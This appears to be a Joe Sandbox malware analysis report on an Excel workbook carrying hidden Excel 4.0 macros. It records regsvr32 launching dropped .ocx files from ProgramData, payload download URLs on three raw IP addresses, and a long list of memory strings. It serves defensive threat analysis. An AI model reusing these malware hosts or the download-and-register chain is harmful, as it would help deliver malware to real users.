Joe Sandbox Cloud Basic Analysis Report

Loading ...

Play interactive tourEdit tour

Windows Analysis Report SRLTX-1266305223.xlsb

Overview

General Information

Sample Name:SRLTX-1266305223.xlsb
Analysis ID:532384
MD5:9a33b86fa2ee2372023d418129238b25
SHA1:d94101917d187df6bd710f2abf288cf9f2ee86c9
SHA256:141a23ce14ba6702fdba9d074fe66eab9f9084be7030033b0258656942a3c660
Tags:xlsx
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:84
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Multi AV Scanner detection for submitted file
Found malicious Excel 4.0 Macro
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Found protected and hidden Excel 4.0 Macro sheet
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Yara detected Xls With Macro 4.0
Detected potential crypto function
IP address seen in connection with other malware

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 7036 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 336 cmdline: regsvr32 C:\ProgramData\Volet1.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6812 cmdline: regsvr32 C:\ProgramData\Volet2.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 1328 cmdline: regsvr32 C:\ProgramData\Volet3.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
app.xmlJoeSecurity_XlsWithMacro4Yara detected Xls With Macro 4.0Joe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine: regsvr32 C:\ProgramData\Volet1.ocx, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 7036, ProcessCommandLine: regsvr32 C:\ProgramData\Volet1.ocx, ProcessId: 336

    Jbx Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: SRLTX-1266305223.xlsbVirustotal: Detection: 14%Perma Link
    Source: SRLTX-1266305223.xlsbReversingLabs: Detection: 33%
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll

    Software Vulnerabilities:

    barindex
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileA
    Source: global trafficTCP traffic: 192.168.2.3:49743 -> 80.71.157.224:80
    Source: global trafficTCP traffic: 192.168.2.3:49743 -> 80.71.157.224:80
    Source: global trafficTCP traffic: 192.168.2.3:49746 -> 101.99.95.15:80
    Source: global trafficTCP traffic: 192.168.2.3:49763 -> 185.104.195.81:80
    Source: Joe Sandbox ViewIP Address: 101.99.95.15 101.99.95.15
    Source: Joe Sandbox ViewIP Address: 80.71.157.224 80.71.157.224
    Source: unknownTCP traffic detected without corresponding DNS query: 80.71.157.224
    Source: unknownTCP traffic detected without corresponding DNS query: 80.71.157.224
    Source: unknownTCP traffic detected without corresponding DNS query: 80.71.157.224
    Source: unknownTCP traffic detected without corresponding DNS query: 101.99.95.15
    Source: unknownTCP traffic detected without corresponding DNS query: 101.99.95.15
    Source: unknownTCP traffic detected without corresponding DNS query: 101.99.95.15
    Source: unknownTCP traffic detected without corresponding DNS query: 185.104.195.81
    Source: unknownTCP traffic detected without corresponding DNS query: 185.104.195.81
    Source: unknownTCP traffic detected without corresponding DNS query: 185.104.195.81
    Source: EXCEL.EXE, 00000000.00000003.616152865.000000000ED56000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.370887038.000000000ED4F000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501833619.000000000ED56000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693510491.000000000ED56000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.535376846.000000000ED56000.00000004.00000001.sdmpString found in binary or memory: http://.adobe.cH&
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.501079160.000000001643C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499381408.0000000016446000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421430416.0000000016439000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500180901.0000000016439000.00000004.00000001.sdmpString found in binary or memory: http://101.99.95.15/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: http://101.99.95.15/819077238125.dat
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.501079160.000000001643C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499381408.0000000016446000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421430416.0000000016439000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500180901.0000000016439000.00000004.00000001.sdmpString found in binary or memory: http://185.104.195.81/
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: http://185.104.195.81/819077238125.dat
    Source: EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmpString found in binary or memory: http://185.104.195.81/819077238125.dat/819077238125
    Source: EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmpString found in binary or memory: http://185.104.195.81/819077238125r
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmpString found in binary or memory: http://80.71.157.224/
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmpString found in binary or memory: http://80.71.157.224/53321935-2125563209-4053062332-1002
    Source: EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: http://80.71.157.224/819077238125.dat
    Source: EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmpString found in binary or memory: http://80.71.157.224/819077238125=
    Source: EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glidesf
    Source: EXCEL.EXE, 00000000.00000002.692974319.000000000E072000.00000004.00000001.sdmpString found in binary or memory: http://purl.oclc.org/ooxml/drawingml/diagram
    Source: EXCEL.EXE, 00000000.00000002.692974319.000000000E072000.00000004.00000001.sdmpString found in binary or memory: http://purl.oclc.org/ooxml/drawingml/table
    Source: EXCEL.EXE, 00000000.00000003.537749302.0000000016544000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536341585.000000001650E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536263250.0000000016574000.00000004.00000001.sdmpString found in binary or memory: http://schemas.open
    Source: EXCEL.EXE, 00000000.00000003.536263250.0000000016574000.00000004.00000001.sdmpString found in binary or memory: http://schemas.openformatrg/package/2006/content-t
    Source: EXCEL.EXE, 00000000.00000003.537749302.0000000016544000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536341585.000000001650E000.00000004.00000001.sdmpString found in binary or memory: http://schemas.openformatrg/package/2006/r
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpString found in binary or memory: https://.man
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticatedw
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594194079.0000000013870000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
